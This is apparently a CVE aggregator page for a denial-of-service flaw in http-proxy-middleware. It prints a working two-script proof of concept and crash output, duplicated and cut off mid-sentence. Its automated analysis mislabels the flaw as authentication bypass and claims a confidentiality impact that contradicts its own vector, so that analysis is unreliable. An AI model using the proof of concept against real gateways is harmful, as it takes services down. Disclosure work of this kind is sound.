CVE Professor
/
All CVEs
CVE-2026-140102

CVE-2026-140102 — Http-proxy-middleware — CWE-248

HIGH CVSS 7.5 ⚡ EPSS 1.0% GitHub

### Proof of concept 1. run `gateway.js` ```js import http from "http"; import { createProxyMiddleware } from "http-proxy-middleware"; const neverTrigger = () => console.log("neverTrigger"); const proxy = createProxyMiddleware({ target: "http://example.com", pathFilter: "/ws", ws: true, on: { error: neverTrigger } }); const server = http.createServer((req, res) => proxy( req, res, () => res.writeHead(404).end() )); server.on("upgrade", proxy.upgrade); server.on("error", neverTrigger); server.on("clientError", neverTrigger); server.listen(5056, "127.0.0.1"); ``` 2. run `client.js` ```js import net from "net"; const socket = net.connect(5056, "127.0.0.1", () => { socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n"); setTimeout(() => socket.resetAndDestroy(), 100); }); ``` 3. gateway process crash ``` node:events:505 throw er; // Unhandled 'error' event ^ Error: read ECONNRESET at TCP.onStreamRead (node:internal/stream_base_commons:221:20) Emitted 'error' event on Socket instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:90:21) { errno: -54, code: 'ECONNRESET', syscall: 'read' } Node.js v24.22.3 ``` ### Impact A remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even wh

### Proof of concept 1. run `gateway.js` ```js import http from "http"; import { createProxyMiddleware } from "http-proxy-middleware"; const neverTrigger = () => console.log("neverTrigger"); const proxy = createProxyMiddleware({ target: "http://example.com", pathFilter: "/ws", ws: true, on: { error: neverTrigger } }); const server = http.createServer((req, res) => proxy( req, res, () => res.writeHead(404).end() )); server.on("upgrade", proxy.upgrade); server.on("error", neverTrigger); server.on("clientError", neverTrigger); server.listen(5056, "127.0.0.1"); ``` 2. run `client.js` ```js import net from "net"; const socket = net.connect(5056, "127.0.0.1", () => { socket.write("GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\r\n"); setTimeout(() => socket.resetAndDestroy(), 100); }); ``` 3. gateway process crash ``` node:events:505 throw er; // Unhandled 'error' event ^ Error: read ECONNRESET at TCP.onStreamRead (node:internal/stream_base_commons:221:20) Emitted 'error' event on Socket instance at: at emitErrorNT (node:internal/streams/destroy:170:8) at emitErrorCloseNT (node:internal/streams/destroy:129:3) at process.processTicksAndRejections (node:internal/process/task_queues:90:21) { errno: -54, code: 'ECONNRESET', syscall: 'read' } Node.js v24.22.3 ``` ### Impact A remote unauthenticated attacker can crash the whole gateway process with a single `Upgrade` request and a TCP RST, even wh

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.0%
30-day probability
In the 64. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-140102
CVSS 7.5/10 · HIGH · 30.11.2026
CWE: CWE-248
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

🎯 WHAT IS THIS VULNERABILITY?
Authentication Bypass
Summary: ### Proof of concept

1. run gateway.js
```js
import http from "http";
import { createProxyMiddleware } from "http-proxy-middleware";

const neverTrigger = () => console.log("neverTrigger");

const proxy = createProxyMiddleware({
target: "http://example.com",
pathFilter: "/ws",
ws: true,
on: { error: neverTrigger }
});
const server = http.createServer((req, res) => proxy(
req,
res…
Affected: http-proxy-middleware

⚡ ATTACK VECTOR
Network / Remote (AV:N) · no authentication required (PR:N) · no user interaction (UI:N) · low attack complexity (AC:L).

🌍 REAL WORLD IMPACT
Partial confidentiality disclosure (C:L); service can be completely taken down.

🛡️ REMEDIATION
→ Apply vendor security update for http-proxy-middleware.
→ Add MFA, strengthen sessions, implement rate limiting.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.

⚠️ URGENCY
⚠️ This week (7 days) — High risk, anonymous remote.

────────────────────────────────────────
[Automated Technical Vulnerability & CVSS Vector Analysis]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
7.5 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-248
Affected Products (1)
http-proxy-middleware
References & Advisories (4)
Related CVEs
9.2
CVE-2026-141488
The AIDB MCP endpoint (edb-endpoints) in AIDB 7.7.0 through 7.8.0 authenticates HTTP Basic credentials by open
9.1
CVE-2026-144956
Hoverfly before 1.12.17 contains an improper certificate validation vulnerability in GetHttpClient in core/htt
8.7
CVE-2026-144607
Tencent WeKnora 0.3.2 through 0.9.1 contains an incorrect authorization vulnerability that allows any self-reg
8.6
CVE-2026-120094
Improper authorization in the dotAI embeddings endpoint (POST /api/v1/ai/embeddings) in dotCMS before 26.10.23
8.7
CVE-2026-144590
adm-zip through 0.6.1 contains a denial of service vulnerability that allows remote attackers to crash Node.js
7.7
CVE-2026-144420
### Summary A ServiceEntry that claims an IP-addressed waypoint's address crashes istiod mesh-wide (ambient m
6.5
CVE-2026-145365
Istio Ztunnel provides an implementation of the ztunnel component of ambient mesh. From 1.30.0 until 1.30.8 an